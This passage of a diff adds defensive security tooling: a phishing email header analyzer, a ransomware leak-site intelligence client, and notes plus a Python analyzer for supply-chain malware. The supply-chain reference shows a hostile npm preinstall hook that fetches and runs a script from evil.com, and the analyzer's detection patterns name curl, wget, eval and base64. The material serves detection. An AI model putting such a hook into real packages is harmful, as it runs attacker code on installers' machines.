# v=DMARC1; p=reject; rua=mailto:dmarc@example.com
|
||||
```
|
||||
|
||||
## Phishing Detection Indicators
|
||||
|
||||
| Indicator | Severity | Description |
|
||||
|-----------|----------|-------------|
|
||||
| SPF fail | HIGH | Sender IP not in domain's SPF record |
|
||||
| Reply-To mismatch | HIGH | Reply-To different from From address |
|
||||
| Email in display name | HIGH | Display name contains email address |
|
||||
| IP-based URL | HIGH | Links point to raw IP addresses |
|
||||
| Urgency keywords | MEDIUM | Subject contains "urgent", "action required" |
|
||||
| URL shortener | MEDIUM | Links use bit.ly, tinyurl, etc. |
|
||||
| New domain | MEDIUM | Sending domain registered recently |
|
||||
| PHPMailer X-Mailer | MEDIUM | Bulk mailer software |
|
||||
|
||||
## msgconvert (Perl)
|
||||
|
||||
### Convert MSG to EML
|
||||
```bash
|
||||
msgconvert message.msg # Outputs message.eml
|
||||
msgconvert --outfile out.eml msg.msg # Specify output
|
||||
```
|
||||
|
||||
## emlAnalyzer (Python)
|
||||
|
||||
### Installation and Usage
|
||||
```bash
|
||||
pip install eml-analyzer
|
||||
emlAnalyzer -i message.eml --header --html --attachments
|
||||
```
|
||||
@@ -0,0 +1,216 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Phishing email header analysis agent.
|
||||
|
||||
Parses email headers to detect spoofing, authentication failures,
|
||||
suspicious routing, and phishing indicators.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import re
|
||||
import email
|
||||
import email.utils
|
||||
from datetime import datetime
|
||||
from collections import OrderedDict
|
||||
|
||||
|
||||
def parse_email_file(filepath):
|
||||
with open(filepath, "r", encoding="utf-8", errors="replace") as f:
|
||||
return email.message_from_string(f.read())
|
||||
|
||||
|
||||
def extract_received_chain(msg):
|
||||
chain = []
|
||||
for header in msg.get_all("Received", []):
|
||||
entry = {"raw": header.strip()[:300]}
|
||||
from_match = re.search(r"from\s+([\w.-]+)", header)
|
||||
by_match = re.search(r"by\s+([\w.-]+)", header)
|
||||
ip_match = re.search(r"\[(\d+\.\d+\.\d+\.\d+)\]", header)
|
||||
date_match = re.search(r";\s*(.+)$", header)
|
||||
if from_match:
|
||||
entry["from_host"] = from_match.group(1)
|
||||
if by_match:
|
||||
entry["by_host"] = by_match.group(1)
|
||||
if ip_match:
|
||||
entry["ip"] = ip_match.group(1)
|
||||
if date_match:
|
||||
entry["date"] = date_match.group(1).strip()[:60]
|
||||
chain.append(entry)
|
||||
return chain
|
||||
|
||||
|
||||
def check_spf(msg):
|
||||
spf_headers = msg.get_all("Received-SPF", [])
|
||||
auth_results = msg.get("Authentication-Results", "")
|
||||
result = {"status": "none", "details": ""}
|
||||
for h in spf_headers:
|
||||
h_lower = h.lower()
|
||||
if "pass" in h_lower:
|
||||
result = {"status": "pass", "details": h[:200]}
|
||||
elif "fail" in h_lower or "softfail" in h_lower:
|
||||
result = {"status": "fail", "details": h[:200]}
|
||||
elif "neutral" in h_lower:
|
||||
result = {"status": "neutral", "details": h[:200]}
|
||||
if "spf=" in auth_results.lower():
|
||||
spf_match = re.search(r"spf=(\w+)", auth_results, re.IGNORECASE)
|
||||
if spf_match:
|
||||
result["auth_result_spf"] = spf_match.group(1)
|
||||
return result
|
||||
|
||||
|
||||
def check_dkim(msg):
|
||||
auth_results = msg.get("Authentication-Results", "")
|
||||
dkim_sig = msg.get("DKIM-Signature", "")
|
||||
result = {"status": "none", "domain": ""}
|
||||
if "dkim=" in auth_results.lower():
|
||||
dkim_match = re.search(r"dkim=(\w+)", auth_results, re.IGNORECASE)
|
||||
if dkim_match:
|
||||
result["status"] = dkim_match.group(1)
|
||||
if dkim_sig:
|
||||
d_match = re.search(r"d=([\w.-]+)", dkim_sig)
|
||||
if d_match:
|
||||
result["domain"] = d_match.group(1)
|
||||
return result
|
||||
|
||||
|
||||
def check_dmarc(msg):
|
||||
auth_results = msg.get("Authentication-Results", "")
|
||||
result = {"status": "none"}
|
||||
if "dmarc=" in auth_results.lower():
|
||||
dmarc_match = re.search(r"dmarc=(\w+)", auth_results, re.IGNORECASE)
|
||||
if dmarc_match:
|
||||
result["status"] = dmarc_match.group(1)
|
||||
return result
|
||||
|
||||
|
||||
def extract_urls(msg):
|
||||
urls = set()
|
||||
body = ""
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
ct = part.get_content_type()
|
||||
if ct in ("text/plain", "text/html"):
|
||||
payload = part.get_payload(decode=True)
|
||||
if payload:
|
||||
body += payload.decode("utf-8", errors="replace")
|
||||
else:
|
||||
payload = msg.get_payload(decode=True)
|
||||
if payload:
|
||||
body = payload.decode("utf-8", errors="replace")
|
||||
urls.update(re.findall(r"https?://[^\s<>\"')\]]+", body))
|
||||
href_urls = re.findall(r'href=["\']([^"\']+)["\']', body)
|
||||
urls.update(u for u in href_urls if u.startswith("http"))
|
||||
return sorted(urls)
|
||||
|
||||
|
||||
def detect_display_name_spoofing(msg):
|
||||
from_header = msg.get("From", "")
|
||||
reply_to = msg.get("Reply-To", "")
|
||||
findings = []
|
||||
name, addr = email.utils.parseaddr(from_header)
|
||||
if name and addr:
|
||||
if re.search(r"@", name):
|
||||
findings.append({
|
||||
"type": "email_in_display_name",
|
||||
"detail": f"Display name contains email: {name}",
|
||||
})
|
||||
if reply_to:
|
||||
_, reply_addr = email.utils.parseaddr(reply_to)
|
||||
if reply_addr and addr and reply_addr.lower() != addr.lower():
|
||||
findings.append({
|
||||
"type": "reply_to_mismatch",
|
||||
"detail": f"From: {addr} vs Reply-To: {reply_addr}",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def detect_phishing_indicators(msg, urls):
|
||||
indicators = []
|
||||
subject = msg.get("Subject", "").lower()
|
||||
urgency = ["urgent", "immediate", "action required", "suspended",
|
||||
"verify", "expires today", "click here", "limited time"]
|
||||
for word in urgency:
|
||||
if word in subject:
|
||||
indicators.append({
|
||||
"type": "urgency_subject", "keyword": word, "severity": "MEDIUM",
|
||||
})
|
||||
break
|
||||
for url in urls:
|
||||
if re.search(r"https?://\d+\.\d+\.\d+\.\d+", url):
|
||||
indicators.append({
|
||||
"type": "ip_url", "url": url[:100], "severity": "HIGH",
|
||||
})
|
||||
if len(url) > 200:
|
||||
indicators.append({
|
||||
"type": "long_url", "url_length": len(url), "severity": "MEDIUM",
|
||||
})
|
||||
x_mailer = msg.get("X-Mailer", "")
|
||||
if x_mailer and any(s in x_mailer.lower() for s in ["phpmailer", "swiftmailer"]):
|
||||
indicators.append({
|
||||
"type": "suspicious_mailer", "mailer": x_mailer, "severity": "MEDIUM",
|
||||
})
|
||||
return indicators
|
||||
|
||||
|
||||
def generate_report(filepath, msg):
|
||||
received = extract_received_chain(msg)
|
||||
spf = check_spf(msg)
|
||||
dkim = check_dkim(msg)
|
||||
dmarc = check_dmarc(msg)
|
||||
urls = extract_urls(msg)
|
||||
spoofing = detect_display_name_spoofing(msg)
|
||||
phishing = detect_phishing_indicators(msg, urls)
|
||||
return {
|
||||
"file": filepath,
|
||||
"subject": msg.get("Subject", ""),
|
||||
"from": msg.get("From", ""),
|
||||
"to": msg.get("To", ""),
|
||||
"date": msg.get("Date", ""),
|
||||
"message_id": msg.get("Message-ID", ""),
|
||||
"received_hops": len(received),
|
||||
"received_chain": received,
|
||||
"authentication": {"spf": spf, "dkim": dkim, "dmarc": dmarc},
|
||||
"urls_found": len(urls),
|
||||
"urls": urls[:20],
|
||||
"spoofing_indicators": spoofing,
|
||||
"phishing_indicators": phishing,
|
||||
"verdict": "SUSPICIOUS" if (phishing or spoofing or
|
||||
spf.get("status") == "fail") else "CLEAN",
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Phishing Email Header Analysis Agent")
|
||||
print("SPF/DKIM/DMARC, spoofing detection, URL extraction")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
if not target or not os.path.exists(target):
|
||||
print("\n[DEMO] Usage: python agent.py <email.eml>")
|
||||
sys.exit(0)
|
||||
|
||||
msg = parse_email_file(target)
|
||||
report = generate_report(target, msg)
|
||||
|
||||
print(f"\n[*] Subject: {report['subject']}")
|
||||
print(f"[*] From: {report['from']}")
|
||||
print(f"[*] Date: {report['date']}")
|
||||
print(f"[*] Received hops: {report['received_hops']}")
|
||||
|
||||
auth = report["authentication"]
|
||||
print(f"\n--- Authentication ---")
|
||||
print(f" SPF: {auth['spf']['status']}")
|
||||
print(f" DKIM: {auth['dkim']['status']}")
|
||||
print(f" DMARC: {auth['dmarc']['status']}")
|
||||
|
||||
print(f"\n--- URLs ({report['urls_found']}) ---")
|
||||
for u in report["urls"][:5]:
|
||||
print(f" {u[:80]}")
|
||||
|
||||
print(f"\n--- Indicators ---")
|
||||
for i in report["phishing_indicators"] + report["spoofing_indicators"]:
|
||||
print(f" [{i.get('severity','INFO')}] {i['type']}: {i.get('detail', i.get('keyword', ''))}")
|
||||
|
||||
print(f"\n[*] Verdict: {report['verdict']}")
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
# API Reference: Ransomware Leak Site Intelligence
|
||||
|
||||
## ransomware.live API
|
||||
|
||||
### Recent Victims
|
||||
```bash
|
||||
curl https://api.ransomware.live/recentvictims
|
||||
```
|
||||
|
||||
### Group Information
|
||||
```bash
|
||||
curl https://api.ransomware.live/groups
|
||||
curl https://api.ransomware.live/group/lockbit3
|
||||
```
|
||||
|
||||
### Response Format
|
||||
```json
|
||||
{
|
||||
"group_name": "lockbit3",
|
||||
"victim": "company-name",
|
||||
"website": "company.com",
|
||||
"discovered": "2024-03-15T00:00:00Z",
|
||||
"country": "US",
|
||||
"activity": "Manufacturing"
|
||||
}
|
||||
```
|
||||
|
||||
## ransomlook.io API
|
||||
|
||||
### Endpoints
|
||||
```bash
|
||||
curl https://www.ransomlook.io/api/groups # List all groups
|
||||
curl https://www.ransomlook.io/api/group/lockbit # Group details
|
||||
curl https://www.ransomlook.io/api/recent # Recent posts
|
||||
```
|
||||
|
||||
## Ransomwatch (GitHub)
|
||||
|
||||
### Data Repository
|
||||
```bash
|
||||
git clone https://github.com/joshhighet/ransomwatch
|
||||
# Data in JSON format: posts.json, groups.json
|
||||
```
|
||||
|
||||
### JSON Schema
|
||||
```json
|
||||
{
|
||||
"group_name": "string",
|
||||
"post_title": "string",
|
||||
"discovered": "ISO-8601",
|
||||
"post_url": "onion URL",
|
||||
"country": "2-letter code",
|
||||
"activity": "sector"
|
||||
}
|
||||
```
|
||||
|
||||
## ID Ransomware
|
||||
|
||||
### Identification
|
||||
```
|
||||
Upload: encrypted file + ransom note
|
||||
URL: https://id-ransomware.malwarehunterteam.com/
|
||||
Returns: ransomware family, decryptor availability
|
||||
```
|
||||
|
||||
## Active Ransomware Groups (2025)
|
||||
|
||||
| Group | Status | Primary Target |
|
||||
|-------|--------|---------------|
|
||||
| LockBit 3.0 | Active | Cross-sector |
|
||||
| Cl0p | Active | MOVEit/file transfer exploitation |
|
||||
| Play | Active | Manufacturing, IT |
|
||||
| 8Base | Active | SMBs |
|
||||
| Akira | Active | Healthcare, Education |
|
||||
| Black Basta | Active | Enterprise |
|
||||
| Medusa | Active | Education, Healthcare |
|
||||
| RansomHub | Active | Cross-sector |
|
||||
| Rhysida | Active | Government, Healthcare |
|
||||
| BianLian | Active | Healthcare, Manufacturing |
|
||||
|
||||
## Intelligence Collection Framework
|
||||
|
||||
| Source | Type | Update Frequency |
|
||||
|--------|------|------------------|
|
||||
| ransomware.live | Victim listings | Real-time |
|
||||
| ransomlook.io | Group monitoring | Daily |
|
||||
| ransomwatch | Onion site scraping | Hourly |
|
||||
| NoMoreRansom.org | Decryptor availability | As released |
|
||||
| CISA alerts | Government advisories | As published |
|
||||
|
||||
## STIX Representation
|
||||
```json
|
||||
{
|
||||
"type": "threat-actor",
|
||||
"name": "LockBit",
|
||||
"threat_actor_types": ["crime-syndicate"],
|
||||
"roles": ["agent"],
|
||||
"goals": ["financial-gain"]
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,200 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Ransomware leak site intelligence analysis agent.
|
||||
|
||||
Monitors and analyzes ransomware group leak site data for threat intelligence,
|
||||
victim tracking, and TTI (time-to-intelligence) reporting.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import re
|
||||
import hashlib
|
||||
from datetime import datetime, timedelta
|
||||
from collections import defaultdict, Counter
|
||||
|
||||
try:
|
||||
import requests
|
||||
HAS_REQUESTS = True
|
||||
except ImportError:
|
||||
HAS_REQUESTS = False
|
||||
|
||||
RANSOMWARE_GROUPS = {
|
||||
"lockbit": {"aliases": ["LockBit 3.0", "LockBit Black"], "status": "active"},
|
||||
"alphv": {"aliases": ["BlackCat", "ALPHV"], "status": "disrupted"},
|
||||
"cl0p": {"aliases": ["Clop", "TA505"], "status": "active"},
|
||||
"play": {"aliases": ["PlayCrypt"], "status": "active"},
|
||||
"8base": {"aliases": ["8Base"], "status": "active"},
|
||||
"akira": {"aliases": ["Akira"], "status": "active"},
|
||||
"bianlian": {"aliases": ["BianLian"], "status": "active"},
|
||||
"blackbasta": {"aliases": ["Black Basta"], "status": "active"},
|
||||
"medusa": {"aliases": ["MedusaLocker", "Medusa Blog"], "status": "active"},
|
||||
"rhysida": {"aliases": ["Rhysida"], "status": "active"},
|
||||
"royal": {"aliases": ["Royal", "BlackSuit"], "status": "rebranded"},
|
||||
"ransomhub": {"aliases": ["RansomHub"], "status": "active"},
|
||||
}
|
||||
|
||||
|
||||
def query_ransomwatch_api():
|
||||
"""Query ransomwatch or ransomware.live API for leak site data."""
|
||||
if not HAS_REQUESTS:
|
||||
return []
|
||||
try:
|
||||
resp = requests.get("https://api.ransomware.live/recentvictims",
|
||||
timeout=30)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
except requests.RequestException as e:
|
||||
return [{"error": str(e)}]
|
||||
|
||||
|
||||
def query_ransomlook_group(group_name):
|
||||
"""Query ransomlook.io API for group information."""
|
||||
if not HAS_REQUESTS:
|
||||
return {}
|
||||
try:
|
||||
resp = requests.get(f"https://www.ransomlook.io/api/group/{group_name}",
|
||||
timeout=30)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
except requests.RequestException:
|
||||
return {}
|
||||
|
||||
|
||||
def analyze_victim_data(victims):
|
||||
"""Analyze victim listing data for intelligence."""
|
||||
sector_counts = Counter()
|
||||
country_counts = Counter()
|
||||
group_counts = Counter()
|
||||
timeline = defaultdict(int)
|
||||
|
||||
for v in victims:
|
||||
group = v.get("group_name", v.get("group", "unknown")).lower()
|
||||
group_counts[group] += 1
|
||||
sector = v.get("activity", v.get("sector", "unknown"))
|
||||
if sector:
|
||||
sector_counts[sector] += 1
|
||||
country = v.get("country", "unknown")
|
||||
if country:
|
||||
country_counts[country] += 1
|
||||
date_str = v.get("discovered", v.get("published", ""))
|
||||
if date_str:
|
||||
try:
|
||||
dt = datetime.fromisoformat(date_str.replace("Z", "+00:00"))
|
||||
timeline[dt.strftime("%Y-%m")] += 1
|
||||
except (ValueError, TypeError):
|
||||
pass
|
||||
|
||||
return {
|
||||
"total_victims": len(victims),
|
||||
"top_groups": dict(group_counts.most_common(10)),
|
||||
"top_sectors": dict(sector_counts.most_common(10)),
|
||||
"top_countries": dict(country_counts.most_common(10)),
|
||||
"monthly_trend": dict(sorted(timeline.items())),
|
||||
}
|
||||
|
||||
|
||||
def search_victims(victims, query):
|
||||
"""Search victims by name, domain, or sector."""
|
||||
results = []
|
||||
query_lower = query.lower()
|
||||
for v in victims:
|
||||
name = (v.get("victim", v.get("post_title", "")) or "").lower()
|
||||
website = (v.get("website", "") or "").lower()
|
||||
sector = (v.get("activity", v.get("sector", "")) or "").lower()
|
||||
if query_lower in name or query_lower in website or query_lower in sector:
|
||||
results.append(v)
|
||||
return results
|
||||
|
||||
|
||||
def assess_group_activity(victims, group_name, days=90):
|
||||
"""Assess activity level of a specific ransomware group."""
|
||||
cutoff = datetime.now() - timedelta(days=days)
|
||||
group_victims = []
|
||||
for v in victims:
|
||||
g = (v.get("group_name", v.get("group", "")) or "").lower()
|
||||
if group_name.lower() in g:
|
||||
group_victims.append(v)
|
||||
|
||||
recent = []
|
||||
for v in group_victims:
|
||||
date_str = v.get("discovered", v.get("published", ""))
|
||||
if date_str:
|
||||
try:
|
||||
dt = datetime.fromisoformat(date_str.replace("Z", "+00:00"))
|
||||
if dt.replace(tzinfo=None) > cutoff:
|
||||
recent.append(v)
|
||||
except (ValueError, TypeError):
|
||||
pass
|
||||
|
||||
info = RANSOMWARE_GROUPS.get(group_name.lower(), {})
|
||||
return {
|
||||
"group": group_name,
|
||||
"aliases": info.get("aliases", []),
|
||||
"status": info.get("status", "unknown"),
|
||||
"total_victims": len(group_victims),
|
||||
"recent_victims": len(recent),
|
||||
"period_days": days,
|
||||
"activity_level": "HIGH" if len(recent) > 20 else "MEDIUM" if len(recent) > 5 else "LOW",
|
||||
}
|
||||
|
||||
|
||||
def generate_intelligence_report(victims, target_org=None):
|
||||
"""Generate ransomware threat intelligence report."""
|
||||
analysis = analyze_victim_data(victims)
|
||||
report = {
|
||||
"report_date": datetime.now().isoformat(),
|
||||
"data_source": "ransomware.live API",
|
||||
"analysis": analysis,
|
||||
}
|
||||
if target_org:
|
||||
matches = search_victims(victims, target_org)
|
||||
report["org_search"] = {
|
||||
"query": target_org,
|
||||
"matches": len(matches),
|
||||
"results": matches[:10],
|
||||
}
|
||||
return report
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Ransomware Leak Site Intelligence Agent")
|
||||
print("Victim tracking, group analysis, sector trends")
|
||||
print("=" * 60)
|
||||
|
||||
query = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if not HAS_REQUESTS:
|
||||
print("[!] Install requests: pip install requests")
|
||||
sys.exit(1)
|
||||
|
||||
print("\n[*] Fetching recent ransomware victims...")
|
||||
victims = query_ransomwatch_api()
|
||||
if not victims or (len(victims) == 1 and "error" in victims[0]):
|
||||
print(f"[!] API error: {victims}")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[*] Retrieved {len(victims)} victim entries")
|
||||
report = generate_intelligence_report(victims, target_org=query)
|
||||
analysis = report["analysis"]
|
||||
|
||||
print(f"\n--- Top Groups ---")
|
||||
for g, c in list(analysis["top_groups"].items())[:5]:
|
||||
print(f" {g:20s} {c} victims")
|
||||
|
||||
print(f"\n--- Top Sectors ---")
|
||||
for s, c in list(analysis["top_sectors"].items())[:5]:
|
||||
print(f" {s:30s} {c}")
|
||||
|
||||
print(f"\n--- Top Countries ---")
|
||||
for co, c in list(analysis["top_countries"].items())[:5]:
|
||||
print(f" {co:20s} {c}")
|
||||
|
||||
if query:
|
||||
matches = report.get("org_search", {})
|
||||
print(f"\n--- Search: '{query}' ({matches.get('matches', 0)} results) ---")
|
||||
for m in matches.get("results", [])[:5]:
|
||||
print(f" {m.get('group_name', '?'):15s} | {m.get('victim', m.get('post_title', '?'))}")
|
||||
|
||||
print(f"\n{json.dumps(report, indent=2, default=str)}")
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
# API Reference: Supply Chain Malware Analysis
|
||||
|
||||
## npm Registry API
|
||||
|
||||
### Package Metadata
|
||||
```bash
|
||||
curl https://registry.npmjs.org/<package-name>
|
||||
curl https://registry.npmjs.org/<package-name>/<version>
|
||||
```
|
||||
|
||||
### Response Fields
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `dist-tags.latest` | Latest version |
|
||||
| `versions` | All published versions |
|
||||
| `maintainers` | Package maintainers |
|
||||
| `time.created` | First publish date |
|
||||
| `time.modified` | Last modification |
|
||||
|
||||
## PyPI JSON API
|
||||
|
||||
### Package Info
|
||||
```bash
|
||||
curl https://pypi.org/pypi/<package-name>/json
|
||||
```
|
||||
|
||||
### Key Fields
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `info.author` | Package author |
|
||||
| `info.version` | Current version |
|
||||
| `releases` | All versions with artifacts |
|
||||
| `info.project_urls` | Source code links |
|
||||
|
||||
## Socket.dev - Supply Chain Analysis
|
||||
|
||||
### npm Audit
|
||||
```bash
|
||||
socket npm audit
|
||||
socket npm info <package>
|
||||
```
|
||||
|
||||
## Suspicious Package Indicators
|
||||
|
||||
| Indicator | Severity | Description |
|
||||
|-----------|----------|-------------|
|
||||
| preinstall/postinstall hooks | HIGH | Code runs during npm install |
|
||||
| URL/git dependencies | HIGH | Dependencies from non-registry source |
|
||||
| eval/exec in setup.py | HIGH | Dynamic code execution during pip install |
|
||||
| Base64 in install scripts | HIGH | Obfuscated payload |
|
||||
| Recently created package | MEDIUM | New package mimicking popular name |
|
||||
| Single maintainer | LOW | Bus factor risk |
|
||||
|
||||
## Sigstore/cosign Verification
|
||||
|
||||
### Verify Container Image
|
||||
```bash
|
||||
cosign verify --certificate-identity-regexp=".*" \
|
||||
--certificate-oidc-issuer-regexp=".*" image:tag
|
||||
```
|
||||
|
||||
### Verify Artifact
|
||||
```bash
|
||||
cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz
|
||||
```
|
||||
|
||||
## SLSA Framework Levels
|
||||
|
||||
| Level | Requirement |
|
||||
|-------|-------------|
|
||||
| SLSA 1 | Build provenance exists |
|
||||
| SLSA 2 | Hosted build platform, authenticated provenance |
|
||||
| SLSA 3 | Hardened build platform, non-falsifiable provenance |
|
||||
| SLSA 4 | Two-party review, hermetic builds |
|
||||
|
||||
## npm install Hook Risks
|
||||
```json
|
||||
{
|
||||
"scripts": {
|
||||
"preinstall": "curl evil.com/payload | sh",
|
||||
"postinstall": "node ./install.js",
|
||||
"preuninstall": "node cleanup.js"
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,168 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Supply chain malware artifact analysis agent.
|
||||
|
||||
Analyzes software supply chain compromise indicators including package
|
||||
integrity, build pipeline artifacts, dependency confusion, and trojanized updates.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import hashlib
|
||||
import re
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
import requests
|
||||
HAS_REQUESTS = True
|
||||
except ImportError:
|
||||
HAS_REQUESTS = False
|
||||
|
||||
|
||||
def compute_hash(filepath):
|
||||
hashes = {}
|
||||
for algo in ("md5", "sha1", "sha256"):
|
||||
h = hashlib.new(algo)
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
h.update(chunk)
|
||||
hashes[algo] = h.hexdigest()
|
||||
return hashes
|
||||
|
||||
|
||||
def check_npm_package(package_name):
|
||||
if not HAS_REQUESTS:
|
||||
return {"error": "requests not installed"}
|
||||
url = f"https://registry.npmjs.org/{package_name}"
|
||||
try:
|
||||
resp = requests.get(url, timeout=15)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
latest = data.get("dist-tags", {}).get("latest", "")
|
||||
versions = list(data.get("versions", {}).keys())
|
||||
maintainers = data.get("maintainers", [])
|
||||
return {
|
||||
"name": package_name, "latest": latest,
|
||||
"version_count": len(versions),
|
||||
"maintainers": [m.get("name") for m in maintainers],
|
||||
}
|
||||
except requests.RequestException as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def check_pypi_package(package_name):
|
||||
if not HAS_REQUESTS:
|
||||
return {"error": "requests not installed"}
|
||||
url = f"https://pypi.org/pypi/{package_name}/json"
|
||||
try:
|
||||
resp = requests.get(url, timeout=15)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
info = data.get("info", {})
|
||||
return {
|
||||
"name": info.get("name"), "version": info.get("version"),
|
||||
"author": info.get("author"),
|
||||
"release_count": len(data.get("releases", {})),
|
||||
}
|
||||
except requests.RequestException as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def detect_typosquat_packages(target_name):
|
||||
permutations = set()
|
||||
for i in range(len(target_name)):
|
||||
permutations.add(target_name[:i] + target_name[i+1:])
|
||||
for i in range(len(target_name) - 1):
|
||||
swapped = list(target_name)
|
||||
swapped[i], swapped[i+1] = swapped[i+1], swapped[i]
|
||||
permutations.add("".join(swapped))
|
||||
permutations.add(target_name.replace("-", "_"))
|
||||
permutations.add(target_name.replace("_", "-"))
|
||||
permutations.discard(target_name)
|
||||
return sorted(permutations)
|
||||
|
||||
|
||||
def analyze_package_scripts(package_json_path):
|
||||
with open(package_json_path, "r") as f:
|
||||
pkg = json.load(f)
|
||||
findings = []
|
||||
scripts = pkg.get("scripts", {})
|
||||
for hook in ["preinstall", "postinstall", "preuninstall"]:
|
||||
if hook in scripts:
|
||||
cmd = scripts[hook]
|
||||
findings.append({
|
||||
"type": "install_hook", "hook": hook, "command": cmd[:200],
|
||||
"severity": "HIGH" if any(s in cmd.lower() for s in
|
||||
["curl", "wget", "eval", "exec", "base64"]) else "MEDIUM",
|
||||
})
|
||||
deps = {**pkg.get("dependencies", {}), **pkg.get("devDependencies", {})}
|
||||
for dep, ver in deps.items():
|
||||
if ver.startswith("http") or ver.startswith("git"):
|
||||
findings.append({
|
||||
"type": "url_dependency", "package": dep,
|
||||
"source": ver[:200], "severity": "HIGH",
|
||||
})
|
||||
return {"name": pkg.get("name"), "findings": findings}
|
||||
|
||||
|
||||
def analyze_python_setup(setup_py_path):
|
||||
with open(setup_py_path, "r") as f:
|
||||
content = f.read()
|
||||
findings = []
|
||||
patterns = [
|
||||
(r"os\.system\(", "os.system() execution"),
|
||||
(r"subprocess\.", "subprocess execution"),
|
||||
(r"exec\(", "exec() code execution"),
|
||||
(r"eval\(", "eval() code execution"),
|
||||
(r"base64\.b64decode", "Base64 decoding"),
|
||||
(r"socket\.", "Network socket usage"),
|
||||
]
|
||||
for pattern, description in patterns:
|
||||
if re.search(pattern, content):
|
||||
findings.append({
|
||||
"type": "suspicious_setup_code",
|
||||
"pattern": description, "severity": "HIGH",
|
||||
})
|
||||
return {"file": setup_py_path, "findings": findings}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Supply Chain Malware Artifact Analysis Agent")
|
||||
print("Package integrity, typosquat detection, install hook analysis")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
if not target:
|
||||
print("
|
||||
[DEMO] Usage:")
|
||||
print(" python agent.py <package.json> # Analyze npm package")
|
||||
print(" python agent.py npm:<package_name> # Check npm registry")
|
||||
print(" python agent.py pypi:<package_name> # Check PyPI registry")
|
||||
sys.exit(0)
|
||||
|
||||
if target.startswith("npm:"):
|
||||
pkg_name = target[4:]
|
||||
print(f"
|
||||
[*] Checking npm: {pkg_name}")
|
||||
info = check_npm_package(pkg_name)
|
||||
typos = detect_typosquat_packages(pkg_name)
|
||||
print(json.dumps(info, indent=2))
|
||||
print(f"
|
||||
Potential typosquats: {typos[:10]}")
|
||||
elif target.startswith("pypi:"):
|
||||
pkg_name = target[5:]
|
||||
print(f"
|
||||
[*] Checking PyPI: {pkg_name}")
|
||||
info = check_pypi_package(pkg_name)
|
||||
print(json.dumps(info, indent=2))
|
||||
elif os.path.exists(target):
|
||||
basename = os.path.basename(target)
|
||||
if basename == "package.json":
|
||||
result = analyze_package_scripts(target)
|
||||
elif basename == "setup.py":
|
||||
result = analyze_python_setup(target)
|
||||
else:
|
||||
result = {"file": target, "hashes": compute_hash(target)}
|
||||
